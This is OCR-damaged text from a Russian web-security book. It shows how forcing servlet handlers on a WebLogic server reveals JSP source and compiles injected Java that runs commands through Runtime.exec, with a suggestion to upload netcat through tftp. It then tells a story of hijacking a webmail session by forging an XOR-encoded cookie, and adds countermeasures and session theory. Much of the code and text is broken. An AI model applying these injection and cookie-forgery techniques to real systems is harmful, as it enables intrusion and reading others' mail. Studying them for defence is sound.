предположение можно сделать на основе анализа следующего URL:
http://www.acmetradeonline.com/servlets/tradeonline
Обратите внимание на то, что в этом пути содержится терм /ser vlets/. Это свиде
тельствует о применении
Java, которые запускаются с использованием за
грузчика
Загрузчик сервлетов определяет соответствие, указывающее Web
серверу на то, что нужно инстанцировать экземпляр
имя которого указано
за ключевым словом. На разных серверах могут использоваться различные ключевые
слова, однако обычно это servlet или servlets.
Теперь можно погрузиться чуть глубже и попробовать определить тип сервера при
ложения Java, используемого в Web приложении. С помощью утилиты netcat на сер
вер можно передать запрос HEAD и попытаться определить тип сервера. Из получен
ного ответа ясно, что используется сервер
версии 5.1.0 компании
С : \ > пс www.acmetradeonline.com 80
HEAD /
HTTP/1.1 302 Moved Temporarily
Location: /index.html
Server: WebLogic 5.1.0 04/03/2000 17:13:23
Content Length: 217
Connection: Close
Это очень мощный сервер приложений Java, который поддерживает все основные
технологии Java, в том числе
Java, серверные страницы Java, компоненты
JavaBeans и JDBC. Недавно в архитектуре сервера WebLogic были обнаружены неко
торые изъяны, которые будут рассмотрены ниже.
260
Часть III. Как они это делают
и обработчики WebLogic
Конфигурационный файл любого сервера Web приложения играет чрезвычайно
важную роль. Конфигурационные параметры сервера приложений WebLogic хранятся
в файле
ties. В этом файле определены все конфигурационные пара
метры: TCP порт Web сервера, пароль администратора, информация о параметрах
обеспечения безопасности и интерфейсе с базой данных. Другие серверы приложе
ний, такие, как WebSphere от IBM, Java Web Server от Sun и JRun от Allaire, исполь
зуют собственные файлы конфигурации другого формата. Конфигурационные пара
метры некоторых серверов хранятся в XML файле; параметры других серверов явля
ются скрытыми и доступны только через специальный графический интерфейс.
Конфигурационный файл дает прекрасное представление о внутренней работе серве
ра приложений. Практически всеми серверами приложений Java используется несколько
базовых
для доступа к файлам, обработки страниц JSP и серверных включе
ний SSI. Эти
уровня ядра составляют основу сервера приложений, с помощью
которых можно обращаться к серверным ресурсам. Каждый передаваемый на сервер за
прос обрабатывается соответствующим
в своем собственном потоке. Такая
многопоточная, основанная на сервлетах архитектура делает серверы приложений Java
легкомасштабируемыми и чрезвычайно эффективными. Серверы приложений Java могут
использоваться также в качестве дополнительных модулей основного Web сервера, на
пример IIS, Apache или Netscape Enterprise Server. Конфигурационный файл позволяет
связать сервлеты с различными типами ресурсов, поддерживаемых сервером приложе
ний. Таким образом, запросы на страницы
обрабатываются сервлетом JSPServlet,
запросы на получение простых HTML файлов --- сервлетом FileServlet и т.д. Такие
сервлеты называются также обработчиками (handler) и делятся на обработчики фай
лов, обработчики страниц JSP, обработчики SSI и т.д. Например, при использовании
URL
будет запущен
JSPServlet, по
скольку клиентом запрашивается страница JSP.
Теперь попробуем разобраться, какие же ошибки могут возникать в сервере при
ложений Java. К появлению нового класса изъянов может привести некорректная реа
лизация или настройка различных обработчиков.
Обработчики и загрузчики приложений
Прежде всего консультант по вопросам безопасности желает выяснить, что про
изойдет, если вызвать сервлет FileServlet и запросить страницу JSP или для получе
ния простого HTML файла обратиться к
JSPServlet? Этот вопрос отражает
идею подмены обработчика (handler forcing).
Для понимания механизма подмены обработчиков нужно знать, как сервлеты реги
стрируются и запускаются. Ответ можно найти в конфигурационном файле. Ниже при
ведена строка файла
в которой регистрируется сервлет SnoopServlet.
Необходимо обратить внимание на два аспекта. В правой части приведенной ди
рективы задается имя
SnoopServlet, который расположен в каталоге
В левой части директивы указан псевдоним или короткое имя
сервлета, используемое при его вызове. Другими словами, все,
указано после
строки
отображается на конкретный сервлет, указанный в
правой части. В рассматриваемом случае сервлету соответствует имя snoop. В следую
щем URL показано, как можно запустить сервлет SnoopServlet:
На рис. 12.3 представлено содержимое окна броузера после запуска сервлета.
Глава 12. Java: удаленное выполнение команд
261
Requested URL:
Request information:
PMC.
Вызов
что созданного
Snoop
Вызов сервлета FileServlet
Однако при дальнейшем просмотре файла
можно обнаружить
более интересную информацию.
сервера приложений уровня ядра регистри
руются точно так же, как и пользовательские
В следующем фрагменте фай
ла
показана строка регистрации сервлета FileServlet:
регистрация файлового сервлета
Сервлет FileServlet ищет в каталоге
файл,
а
обрабатывает его. Если запрашиваемый
файл является каталогом,
FileServlet добавит к
пути файл
и обработает его
f
FileServlet
В левой части последней строки указан псевдоним сервлета FileServlet
ко
торый в строке URL можно использовать для его запуска. Можно сформулировать
следующий вопрос: "Что произойдет, если в окне броузера ввести URL
acmeonline.com/file?" Сервлет FileServlet предназначен для обработки клиентских за
просов на получение простых текстовых файлов. Однако, что произойдет, если попы
таться использовать этот сервлет для получения файлов JSP? Скоро все станет ясно.
При вводе URL адреса
в окне
броузера появится информация, показанная на рис. 12.4.
При обращении к странице
js p на экране появится небольшая форма,
предназначенная для отправки клиентских сообщений в компанию Acme Online
Trading. Вспомним, что по умолчанию файлы JSP обслуживаются
JSPServlet. Теперь с помощью следующего адреса URL для обработки файла
jsp можно попробовать воспользоваться сервлетом FileServlet:
Результат применения обработчика с псевдонимом file к файлу JSP показан на
рис. 12.5.
262
Часть III. Как они это делают
а 55*
We
to you
I
Страница для ввода клиентских сообщений компа
нии Acme Online Trading
'
..........
.......
.
i
Получение исходного кода с помощью
FileServlet
Что же произошло? В окне броузера появился исходный код файла
jsp! Полу
ченный результат иллюстрирует подмену обработчика, когда запрос на доступ к ресурсу
передается другому обработчику. В рассматриваемом примере для обработки запроса на
страницу JSP был вызван
FileServlet. Что касается архитектуры, то вместо сервле
та
предназначенного для обработки запросов на страницы JSP, был использо
ван сервлет FileServlet, который передал обратно содержимое файла "как есть". Это
чит, что без какой либо дополнительной обработки был получен исходный страницы
jsp. Точно
взломщик может просмотреть исходный код любого файла JSP.
Эта ошибка характерна не только для сервера WebLogic. Аналогичный архитектур
ный изъян
обнаружен и в сервере WebSphere компании IBM, а также в сервере
Java Web Server компании Sun. Для запуска сервлета FileServlet сервером WebSphere
используется псевдоним
а сервером Java Web Server ---
whatever
С учетом того, что на Web узле компании Acme Online
Trading установлен сервер WebLogic, исходный код страницы JSP можно получить с
помощью следующего URL:
Глава 12. Java: удаленное выполнение команд
263
Вызов сервлета
Теперь рассмотрим случай подмены другого обработчика
сервера We
bLogic. Начнем с того, что посмотрим на файл weblogic. proper ties под несколько
другим углом зрения.
I регистрация сервлета
if
SSIServlet осуществляет поиск в каталоге
iи
его обработку.
ServerSidelncludeServlet
В последней строке приведенного фрагмента псевдоним
соответствует
имени ServerSidelncludeServlet. Это предоставляет еще один способ получения ис
ходного кода страницы JSP. Для этого нужно воспользоваться следующим URL:
com/*. shtml/feedback/
jsp
И снова с использованием обработчика серверных сценариев в клиентском броузе
ре можно получить исходный код страницы Сервлет SSI предназначен для обра
ботки таких дескрипторов SSI, как include и exec. Однако в данном случае он исполь
зуется для обработки запроса на страницу JSP. Как видно из рис. 12.6, такая подмена
позволяет получить необработанный исходный код страницы
jsp.
page
fileNmie Siring
*
String
ffleNauie.tniW
ffleNanie
enter feedback
to
12.6. Вызов сервлета SSI
Вызов сервлета JSPServlet и его использование
для компиляции текстовых и HTML файлов
Рассмотрим другой изъян, также связанный с подменой обработчика. В данном случае
используется та же основная концепция, но при этом достигается совершенно другой эф
фект. Однако сейчас нужно проанализировать
ранее информацию. В исход
ном коде страницы
jsp можно обнаружить некоторые интересные фрагменты.
02. <body>
03. page
04.
264
Часть III. Как они это делают
FileWriter
new
true);
String name =
String
String
:
:
Из строки 05 видно, что клиентское сообщение записывается в файл
Кроме того, абсолютно очевидно, что этот файл сохраняется в каталоге, где содержат
ся и все остальные файлы
Страница
js p просто добавляет в файл input.html дополнительные записи. Теперь по
смотрим на сам файл
(рис. 12.7).
. Smith
;
шу
let
My
Hey is
уст
do my
you .
12.7. Просмотр скрытой страницы input.html
Обычно страница input.html не связана ни с одной главной страницей. Так что, не
зная ее имени, можно вообще никогда не узнать о ее существовании. Вспомним, что
эту страницу удалось получить благодаря подмене обработчика. Воспользовавшись
приведенным выше URL, можно просмотреть все сообщения клиентов компании
Acme Online Trading. Возможность чтения скрытых сообщений не так важна. Гораздо
интереснее тот факт, что с использованием формы
jsp в файл на сервере
компании можно записать собственные данные.
Эту находку можно объединить с другой важной информацией, содержащейся в
файле
*ttt tftItf 1ttttftffIIttti
СВОЙСТВА WEBLOGIC JSP
Задает
автоматической
страниц JSP.
каталоги
и для использования удалите
комментариев.
weblogic
jsp=\
jsp=\ \
verbose=true
Обратите внимание, что
JSPServlet зарегистрирован с псевдонимом
Значит, его можно вызвать напрямую, указав в адресе URL строку *. jsp.
Глава 12. Java: удаленное выполнение команд
265
Теперь вернемся к вопросу, который был сформулирован выше: "Что произойдет,
если вызвать обработчик JSPServlet и передать ему обычный HTML или ASCII
Можно попробовать найти ответ и на другой вопрос: "Будет ли сервер при
ложений компилировать этот файл, а затем передавать результаты выполнения полу
ченного байт кода, если в нем будет содержаться код
Для получения ответов
на эти вопросы существует единственный способ --- попробовать!
Прежде чем "применить" обработчик JSPServlet к файлу input.html, в этом файле
нужно разместить свои "данные", представляющие собой код Java, а не обычный текст.
На рис. 12.8 показан простой оператор печати на Java, размещаемый в файле input.html.
We
to
Ввод в поле формы кода на языке Java
Ha рис. 12.9 показано содержимое страницы input.html.
rt*
tfЛ'
.
I сам
ix
My noif
:
Hey
I
do my
Are you
Feedback :
Содержимое файла input.html
В сообщении, размещенном в файле
содержится исходный код на язы
ке Java. Теперь для обработки файла input.html можно вызвать обработчик JSPServlet.
В соответствии с используемой архитектурой
JSPServlet предназначен для об
работки кода JSP и, следовательно, должен интерпретировать содержимое файла
input.html как дескрипторы JSP, которые нужно скомпилировать и выполнить. Этот
прием можно реализовать с помощью следующего URL:
266
III. Как они это делают
Такой запрос сообщает серверу WebLogic о том, что для компиляции и выполне
ния файла
необходимо запустить
JSPServlet.
Если воспользоваться таким адресом URL, то в окне броузера будет выведена строка
Execute Me. В данном случае обращение к обработчику JSPServlet привело к удаленному
выполнению команды на сервере компании Acme, а не к получению исходного кода.
Как видно из рис. 12.10, при принудительном использовании обработчика
JSPServlet была скомпилирована HTML страница. При этом полученный класс файл
был размещен в рабочем каталоге, а полученные в результате его выполнения данные
отправлены обратно клиенту.
HTML
Обработчик страниц JSP
применендля обработки
HTML файлов
Обработка
дескрипторов
JSP
Виртуальна
машина Jav а
Компилятор
Java
Класс
Рис. 12.10. При принудительном вызове сервлета JSPServlet был инициирован процесс компиляции
страницы JSP
Однако вместо простых операторов печати взломщик может воспользоваться более
мощным фрагментом кода и выполнить на удаленной системе произвольную команду.
На рис.
показан процесс вставки кода, позволяющего выполнить на удаленной
машине команду dir.
will back to
l•
I
Вставка исходного кода, используемого для взлома
Глава 12. Java: удаленное выполнение команд
267
Вот этот фрагмент кода на Java:
page
String s=null,
try{ Process
/c
(new
{
t+=s;
e){
}
При использовании этого фрагмента кода удаленной операционной системой бу
дет выполнен метод exec. В данном случае взломщик выполнил команду cmd /с dir,
предполагая, что сервер WebLogic работает под управлением Windows NT. Если бы
удаленный Web сервер был установлен на машине UNIX, то взломщик должен был
бы запустить процесс /bin/sh с
la. На рис. 12.12 показано содержимое страницы
input.html перед ее компиляцией.
12.12. Содержимое страницы
со встроенным
исходным кодом
Теперь для компиляции HTML файла взломщику необходимо воспользоваться об
работчиком
следующим образом:
html
На рис. 12.13 показан полученный при этом результат.
Обратите внимание, что команда dir была удаленно выполнена на сервере компа
нии Acme. Вполне уместен вопрос: "Взломщик выполнил команду dir... ну и
Но ведь вместо запуска команды dir взломщик может так же просто выполнить ко
манду tftp, разместить на сервере утилиту netcat и лишь после этого приступить к
удаленному выполнению команд на сервере. Получив интерактивный доступ к уда
ленной системе, взломщик сможет сделать все, что угодно. Как говорится, на этом
игра закончена.
Аналогичный изъян был обнаружен в сервере Java Web Server компании Sun Mi
crosystems. В комплект поставки этого сервера входит пример
для реализации
доски объявлений, который содержит изъян, аналогичный рассмотренному выше.
268
Часть III. Как они это делают
in
D
ia
в:
I
Рис.
команды
с помощью
JSPServlet
Контрмеры
Теперь, когда стало известно, сколь опасны могут быть атаки подобного рода, да
вайте посмотрим, насколько легко можно их предотвратить. Существует множество
контрмер, но применение хотя бы части из них позволит отразить 99% атак.
Защита сервера Java Web Server
Для защиты сервера Java Web Server выполните следующие шаги (они упорядочены
по степени важности).
• Проверка входных данных. Пожалуй, ахиллесовой пятой Internet является не
достаточная проверка входных данных. Это может привести к взлому даже
самых защищенных Web узлов. При обработке пользовательских данных
нужно применять стандартные алгоритмы их проверки. Существующие Web
технологии и
проверки входных данных рассматривались в главе 1.
При корректной реализации механизма проверки входных данных шансы
взломщика по успешному применению описанных выше приемов практиче
ски сводятся к нулю.
• Удаление ненужных исполняемых файлов. По возможности удалите ненужные
исполняемые файлы, такие, как cmd.exe, tftp.exe и ftp.exe в Windows или
t f t p и f t p в Unix. Если эти файлы полностью удалить с основного Web
сервера нельзя, по крайней мере попробуйте ограничить доступ к ним с по
мощью списка ACL. В системе Windows для наложения ограничений на вы
полнение команд можно воспользоваться средствами файловой системы
NTFS. В системе UNIX также имеются встроенные средства установки таких
разрешений.
• Удаление установленных файлов примеров. Хотя этот шаг позволяет предотвра
тить атаки только на сервер
компании Sun, этим принципом имеет смысл
руководствоваться и при развертывании других систем.
Глава 12. Java: удаленное выполнение команд
269
Другие основные контрмеры •
.i
Во многих серверах приложений Java существуют изъяны, связанные с ошибка
ми, допущенными при разработке их архитектуры и проектировании. Хотя для
борьбы с этими изъянами не существует быстрых контрмер, следует
ряд об
щих рекомендаций.
Отделение сервлетов ядра от сервлетов
приложения
--- это ключевой компонент сервера приложений Java. Многие компонен
ты сервера приложения реализованы в виде сервлетов
используются
для извлечения файлов из файловой системы, выполнения синтаксического анализа
данных HTTP запросов, компиляции и выполнения серверных
Java, а также
для выполнения многих других функций. Эти
составляют основу, исполь
зуемую в процессе разработки приложений. При развертывании приложения на сер
вере приложений Java необходимо обеспечить, чтобы сервлеты приложения хранились
отдельно от сервлетов ядра. В противном случае взломщики смогут обращаться к ним
напрямую, как описано выше.
Запрещение использования
незарегистрированных сервлетов
Некоторые серверы приложений Java разрешают выполнение
которые
не зарегистрированы в системе, но физически присутствуют в каталоге классов. При
этом, даже если системный администратор не зарегистрировал эти
их по
прежнему можно использовать, если известен полный путь к каталогу, в котором они
содержатся. Для предотвращения случайного выполнения
нужно физически
удалить соответствующий файл класса из файловой системы или файла JAR. В свою
очередь, разработчики серверов приложений Java должны гарантировать, что незаре
гистрированные сервлеты не подлежат выполнению.
Связывание сервлетов с типом ресурсов
Некоторые изъяны, например возможность принудительного использования обра
ботчика
для компиляции кода Java, внедренного в файлы других типов,
возникают из за того, что обработчик JSP можно применять для обработки ресурсов,
которые на самом деле не являются страницами JSP. Например, можно запретить ис
пользование обработчика JSP для обработки HTML файла. В состав сервера прило
жений Java должен входить механизм проверки, наложения ограничений и связыва
ния обработчиков с ресурсами различных типов.
Надежная проверка входных данных
Пожалуй, надежная проверка входных данных является наиболее важной контрме
рой, которую можно посоветовать. Все данные, полученные от Web броузера, должны
быть тщательно проверены. Такая проверка особенно необходима в том случае, когда
данные записываются на жесткий диск или в базу данных.
270
Часть III. Как они это делают
Запрещение прямого вызова сервлетов
приложения
Во многих случаях для запуска сервлетов Web приложения разработчики предпо
читают использовать URL с префиксом /servlet/ или /webapp/. С тонки зрения разра
ботчиков, это позволяет значительно упростить жизнь, поскольку при этом не требу
ется выполнять регистрацию или какую либо настройку параметров. Однако в кон
тексте обеспечения безопасности, если
приложения и ядра не отделены друг
от друга, то загружаться могут произвольные сервлеты. Таким образом, лучше запре
тить запуск сервлетов напрямую везде, где это возможно.
Отключение всех неиспользуемых сервлетов
и примеров
Зачастую серверы приложений Java поставляются с примерами сервлетов и неко
торыми другими
которые не используются. Для обеспечения безопасно
сти все примеры сервлетов лучше физически удалить из файловой системы. Кроме
того, необходимо также отключить все неиспользуемые сервлеты ядра. Например, ес
ли в приложении не используются серверные включения SSI или страницы JSP, то
для предотвращения случайного запуска соответствующие сервлеты можно отключить.
И наконец, всегда нужно следить за появлением модулей обновления и сразу же их
устанавливать.
Резюме
Бизнес и промышленность развиваются настолько быстро, что процесс разработки
приложений все больше ускоряется. Это заставляет разработчиков использовать новые
архитектуры и программные средства, которые позволяют ускорить разработку при
ложений электронной коммерции. Ряд программных продуктов, например Tomcat,
Resin,
и
подвержены изъянам, которые описывались выше. Некото
рыми из них могут воспользоваться взломщики, которые хорошо знакомы с основами
функционирования этих приложений. Для защиты от таких атак следует принять от
ветные контрмеры. Web приложения должны разрабатываться так, чтобы клиенты об
ладали лишь необходимыми привилегиями. Кроме того, разработчики должны реали
тщательную проверку пользовательских данных. В заключение стоит еще раз
повторить, что необходимо следить за появлением новых модулей обновления, кото
рые должны быть установлены сразу после того, как они были выпущены.
Глава 12. Java: удаленное выполнение команд
271
ГЛАВА 13
После того как на земле впервые появился благочестивый и друже
любный человек, все люди стали участниками неотвратимой битвы
Ватерлоо, где царили надменность, мошенничество и кровь.
Чарльз
Дол
Введение
От нарушения подлинности, т.е. от способности одного человека выдавать себя за
другого, ежегодно страдают сотни тысяч людей. Если учесть, что подобные проблемы
стали
головной болью для Федеральной торговой комиссии, вряд ли кого
нибудь удивит, что компьютерное перевоплощение таит в себе не меньшую угрозу.
Действительно, принять чужой облик в Internet гораздо проще, чем в реальном
мире. Именно поэтому лишь немногие осознают эту опасность и далеко не все из них
пытаются ее избежать. По мере развития электронной коммерции защита личности в
Internet становится все более важной, поскольку лишь в этом случае можно обеспе
чить сохранность конфиденциальных данных.
Перехват сеансов: похищение чужого
облика и сорванное свидание
Алиса встретила Чарльза в чате. Они обнаружили, что живут достаточно близко
друг от друга и имеют много общего. Чарльз спросил, когда они смогут встретиться.
Алису это приглашение очень взволновало. После обмена несколькими письмами по
электронной почте она оказалась в дорогом итальянском ресторане, ожидая Чарльза.
Однако он так и не пришел. Разочарованная Алиса вернулась домой и решила больше
никогда не разговаривать с Чарльзом. Несмотря на испорченное настроение, она была
крайне удивлена, поскольку Чарльз был не похож на типа, который хотел просто
подшутить. Так что же произошло?
Скоро все станет на свои места, когда выяснится, чем за несколько часов до этого
занимался Боб. Он был администратором по обеспечению безопасности в компании,
где работала Алиса, и "на днях" решил пригласить ее на встречу. Другой сотрудник
компании сообщил Бобу, что Алиса уже приглашена на свидание своим виртуальным
другом. Боб решил не терять времени. Так все и началось...
7:00, 5 марта, квартира Алисы
Алиса зарегистрировалась на почтовом сервере
и ре
шила написать письмо Чарльзу о том, что согласна пообедать с ним, а вечером схо
дить в кино. Она была взволнована тем, что наконец то увидит Чарльза. Простая поч
товая служба на узле eWebMail очень напоминает почтовые службы Hotmail или
При регистрации на Web узле eWebMail в HTML форме необходимо указать
имя пользователя и пароль, как показано на рис. 13.1.
Алиса быстро воспользовалась диалоговым окном Compose, чтобы отправить
Чарльзу сообщение с предложением о месте и времени встречи. На рис. 13.2 показано
окно броузера Алисы с написанным письмом.
Отправив письмо, Алиса начала беспокоиться, что может опоздать на работу. По
этому она быстро оделась и вышла из дому.
Глава 13. Перевоплощение
273
com
13.1. Окно регистрации на
Subject :
and
Hi
love to
dinner
you and aee a
How
we
at
at
See
Puc. 13.2. Письмо Алисы Чарльзу
274
Часть III. Как они это делают
8:30, офис Алисы
Алиса зашла в холл офиса компании и сразу же встретила Николь, которая работа
ла секретарем. Николь и Алиса были хорошими подругами. Алиса тут же рассказала о
том, что сегодня вечером наконец то увидит Чарльза. Как только Алиса вышла в кон
ференц зал, в холле появился Боб. После обмена приветствиями Николь рассказала
ему о вечернем свидании Алисы. Боб вернулся к себе и попытался сосредоточиться на
работе. Его очень задело, что кто то пригласил Алису на свидание. Потратив целый
час на раздумья, Боб решил перехватить электронные сообщения Алисы и посмот
реть, что же происходит на самом деле.
Боб знал, что для личной переписки Алиса пользуется почтовой службой
eWebMail. Он решил, что для получения доступа к ее почтовым сообщениям у себя
нужно установить ту же службу. В прошлом месяце Боб участвовал в конференции по
вопросам безопасности, где два парня обсуждали проблемы
в Web. Он был
крайне заинтригован этим разговором. Регистрация на бесплатной почтовой службе
eWebMail оказалась простой, и вскоре Боб впервые зарегистрировался на
(рис. 13.3), чтобы испытать свой новый почтовый адрес
com
Рис. 13.3. Регистрация Боба на
com/
10:00, рабочее место Боба
Боб внимательно изучил работу почтовой службы Web узла eWebMail. Основу
этого приложения составляли
Java и страницы JSP. Предлагаемые на узле
услуги практически ничем не отличались от того, что предлагалось боль
шинством других почтовых служб.
Когда Боб зарегистрировался на узле eWebMail, на экране появилось диалоговое
окно программы Cookie Pal (рис. 13.4).
Глава 13. Перевоплощение
275
13.4. Диалоговое окно программы
Cookie Pal
Cookie Pal --- это условно бесплатное прило
жение, которое можно найти по адресу
wvw.kburra.net/. Боб использовал его для наблю
дения и управления данными cookie, которые
Web узлы передают его броузеру. В данном слу
чае ему
что узел
передал
ему слишком длинную строку cookie с именем
uid. Значение uid очень напоминало
код. Эти данные заинтриговали Боба.
Он слышал, что в Web приложениях данные
cookie часто используются для передачи иденти
фикаторов сеансов. Боб подумал, что, возможно,
эти данные cookie также являются некоторой
формой идентификаторов сеанса, используемых на узле eWebMail.
Дальше Боб создал несколько новых учетных записей с именами
ЬоЬ2 и
При каждой регистрации он получал похожую строку cookie. После четырех регистра
ции в качестве разных пользователей Боб собрал вместе все строки cookie.
bob3eewebmail.exa mple.com
Когда Боб разместил данные cookie и соответствующие адреса в виде таблицы, ему
в голову сразу же пришли две мысли.
• Число байтов в
форме совпадает с количеством символов
в почтовом адресе.
• В последних трех адресах все значения cookie отличаются только одним байтом,
который является четвертым от начала. Эти байты соответствуют цифрам 1, 2
и 3 почтовых адресов.
В данный момент Бобу еще не было понятно, что означает строка : 1 каждого зна
чения. Однако сейчас это не имело никакого значения.
Боб подумал, что было бы слишком просто, если бы адреса электронной почты
напрямую преобразовывались в
значения. На самом деле это
было совсем не
поскольку байты в шестнадцатеричной форме не соответство
вали кодам ASCII символов строки адреса. Боб решил, что для шифрования адреса
и формирования на его основе строки cookie использовался какой нибудь простой
алгоритм. Еще раз посмотрев на закодированные строки, Боб решил, что разработ
чики Web узла eWebMail воспользовались слабым алгоритмом шифрования с ис
пользованием операции XOR. Он быстро написал сценарий на языке Perl, чтобы вы
полнить декодирование строки cookie с использованием каждого из 256 различных
байтов и операции XOR и посмотреть, будет ли получен исходный адрес. Боб добился
своего при достижении символа ОхАА. Оказалось, что строки cookie создавались пу
тем применения к
коду каждого символа почтового адреса и
значения ОхАА операции XOR. В двоичной форме значение ОхАА можно представить
как 01010101.
Вооруженный полученными знаниями, Боб уже был готов взломать учетную за
пись Алисы. Кроме того, ему стало известно, что на узле eWebMail данные cookie с
момента их создания используются в течение одного часа. Другими словами, типич
ный сеанс работы с узлом eWebMail может продолжаться один час. Если броузер бу
дет оставаться в бездействии в течение часа, то пользователь будет автоматически от
ключен от Web приложения eWebMail. Для взлома учетной записи Алисы Боб создал
276
Часть III. Как они это делают
строку cookie, зашифрованную с использованием операции XOR и ее адреса электрон
ной почты
Вот что получилось:
.example.com
616С69636540657765626D61696С2Е6578616D706С652Е636F6D
АА.
.
.
XOR применяется к каждому байту)
СВС6СЗС9CFЕАCFDDCFС8С7СВСЗС684CFD2СВС7DAС6CF84С9С5С7
рабочее место Боба
Боб вышел, чтобы выпить воды. Он заметил, что Алиса была по прежнему занята
на совещании, проходящем в конференц зале. Боб загадочно улыбнулся и вернулся
на свое рабочее место, плотно закрыв дверь. Он очистил окно броузера и зарегистри
ровался на узле eWebMail под именем bob8ewebmail. e xample .com. Были созданы данные
cookie, и Боб смог просмотреть свою папку Inbox, как показано на рис. 13.5.
Welcome Bob
Import/Export
Import and Export your
personal addressbook
to and from eWebmail.
Y o u can configure eWebmail to
messages from most External Mail
accounts to which you have POP
Puc. 13.5. Папка Inbox пользователя
Для него пришло одно сообщение. После его просмотра стало понятно, что это
приветственное сообщение службы eWebMail (рис. 13.6).
Боб снова переместился в папку In bo x , а затем закрыл окно броузера Netscape.
После этого он открыл свой файл c ookie s.txt и поискал данные, сгенерированные
узлом
В найденном фрагменте содержалось его зашифрован
ное значение uid.
ewebmail.example.com FALSE / FALSE 1020114192 uid
Боб заменил это значение тем, которое ранее было получено с помощью операции
XOR для адреса
Символы он оставил без изменений.
ewebmail.example.com FALSE / FALSE 1020114192 uid
Глава 13. Перевоплощение
277
Рис. 13.6. Список почтовых сообщений Боба
После этого он открыл окно броузера Netscape и послал запрос на узел
ewebmail.example.com. Вот это да! На экране появилась папка входящих сообщений
Алисы (рис. 13.7).
Alice
Import and Export your
to from ewebmail.
Y o u can configure ewebmail to
from
External Mail
accounts to which you have POP
access.
Puc.
Боб получил доступ к папке Inbox Алисы
278
Часть Как они это делают
Pop
(Total
3J
11
p
Г
CNET
Tut
033.1k
Re:
Рис. 13.8. Список почтовых сообщений Алисы, просматриваемый Бобом
Сегодня Алиса получила три новых сообщения. Боб щелкнул на гиперссылке
Inbox, чтобы просмотреть список сообщений Алисы. На рис. 13.8 показано содержи
мое окна броузера Боба.
Внимание Боба привлекло сообщение с темой Dinner and Movie, которое было
отправлено Чарльзом (рис. 13.9). Он открыл это сообщение и прочитал его.
great! Instead of
I
Las Brisas?
1 shall be
7:30. See
then!
---
>
>
love to have dinner
you and see a
> Нои
meet at
at
See later!
>
Puc. 13.9. Сообщение Алисе от Чарльза
Глава Перевоплощение
279
Сообщение от Чарльза пришло в 10:16 и содержалось в папке входящих сообщений
Алисы. Она была очень занята и не могла его прочитать. В этом сообщении Чарльз пред
лагал пойти в другой ресторан. В приступе ярости и отчаяния Боб удалил ответное письмо
Чарльза и вышел из приложения. Бедняжка Алиса так и не получила письмо от Чарльза.
12:30, рабочее место Алисы
Совещание оказалось более продолжительным, чем обычно. Алиса вернулась на свое
рабочее место и, перед тем как уйти на обед, решила проверить электронную почту.
Она зарегистрировалась на узле eWebMail и увидела в папке входящих сообщений
два письма (рис.
Первое сообщение было от ее друга Тамми из Канады, который прислал несколько
фотографий своих детей. Вторым пришло еженедельное письмо с новостями CNET.
Такие сообщения использовались Алисой для отслеживания современного состояния
информационных технологий. Алиса закрыла окно броузера и спокойно ушла на обед.
Рис.
Алиса проверяет свой почтовый ящик
в итальянском ресторане
Прождав Чарльза долгих два часа, расстроенная Алиса ушла из итальянского рес
торана. Примерно в это же время Чарльз покинул ресторан Las
так и не встре
тившись с Алисой. Никто из них не знал, почему встреча не состоялась.
Перехват сеансов
В контексте обеспечения безопасности перехват сеансов не является новым подхо
дом. Чаще всего этот термин используется для описания процесса захвата TCP
соединения, который выполняется после
подготовительных атак. При
280
Часть III. Как они это делают
реализации такой атаки взломщик получает контроль над уже установленным TCP
соединением. В контексте обеспечения безопасности в Web перехват сеансов означает
получение контроля над сеансом работы с Web приложением.
Протокол HTTP не поддерживает состояния. Клиент запрашивает конкретный ре
сурс, который в конечном счете предоставляется сервером. На заре своего развития
основная цель World Wide Web заключалась в создании универсальной среды обмена
информацией на базе протокола HTTP и представлении данных в формате HTML.
Гиперссылки позволяли реализовать в документах перекрестные ссылки. Время шло,
и появились серверы, которые могли обрабатывать динамическое содержимое и вы
полнять программы, предназначенные для генерации кода HTML. Достаточно быстро
возникла потребность в повышении интерактивности. Благодаря тому что броузеры
стали успешно обрабатывать и текст и графику, они прочно заняли место универсаль
ного клиента. На Web серверах стали развертываться небольшие приложения, основу
которых составляли
Это позволило существенно расширить возмож
ности всех пользователей Internet, которые работали с броузерами. С этого момента
используемая операционная система уже не играла никакой роли, а в процессе разра
ботки приложений вместо модели с центральным большим компьютером и множест
вом терминалов стала использоваться модель "клиент сервер", в рамках которой кли
ентами выступали броузеры, а сервером --- Web сервер.
Современными серверами Web приложений обслуживаются сложные приложения,
предназначенные, например, для комплексной автоматизации деятельности целого
предприятия. Программа Microsoft Outlook --- это пример полнофункционального
почтового клиента, который можно использовать независимо от Web броузера. Серве
ры Lotus Domino предоставляют Web интерфейс, с использованием которого пользо
ватели могут выполнять практически те же задачи, что и клиенты Lotus Notes.
Во всех многопользовательских приложениях используется концепция пользова
тельских сеансов. Каждый пользователь взаимодействует с приложением в рамках от
дельного сеанса работы. С помощью сеансов можно отслеживать всех текущих поль
зователей приложения. Такая возможность чрезвычайно важна для отделения дейст
вий одного пользователя от действий другого.
Несмотря на стремительное изменение серверных Web технологий, протокол HTTP
остается все тем же. В
время его версия
остается наиболее широко ис
пользуемой. При разработке и использовании Web приложений существует одна про
блема --- отсутствие поддержки состояний в протоколе HTTP. В настоящее время не су
ществует ни одного стандарта, в котором бы определялся механизм сохранения состоя
ний в Web приложениях. Разработчики решают этот вопрос различными способами.
Существуют как
так и плохие подходы к решению этой проблемы, хотя каж
дый из них позволяет получить рабочее приложение. Неудачная реализация механизма
поддержки состояний приводит к возможности атак, связанных с перехватом
Заключительные замечания об атаке,
направленной на перехват сеанса
Давайте еще раз проанализируем атаку
Боб начал сеанс ра
боты с приложением узла eWebMail под своим именем. Он не знал, какой пароль ис
пользуется Алисой. Однако Боб смог разобраться и обойти механизм отслеживания
состояния сеансов, который использовался на почтовом сервере. В процессе работы с
приложением Боб заменил свои регистрационные данные аналогичными данными
Алисы и таким образом смог добиться поставленной цели. Недосмотр и недостаточ
ное понимание проблем, связанных с плохой реализацией механизма управления се
ансами, привели к возможности взлома этой почтовой службы.
Глава 13. Перевоплощение
281
Диаграммы состояний приложения
Попробуем разобраться с тем, что же произошло, воспользовавшись диаграммой
состояний приложения eWebMail (рис. 13.11). Диаграммы состояний относятся к од
ному из разделов дискретной математики, который называется теорией конечных ав
томатов. Подробное обсуждение этой теории не входит в задачи данной книги.
Check
E mail
Начальное
состояние
Рис.
Диаграмма состояний
eWebMail
Каждое приложение имеет по крайней мере два состояния: начальное и конечное.
При работе с приложением пользователь может "находиться" в одном из его различ
ных состояний. На рис.
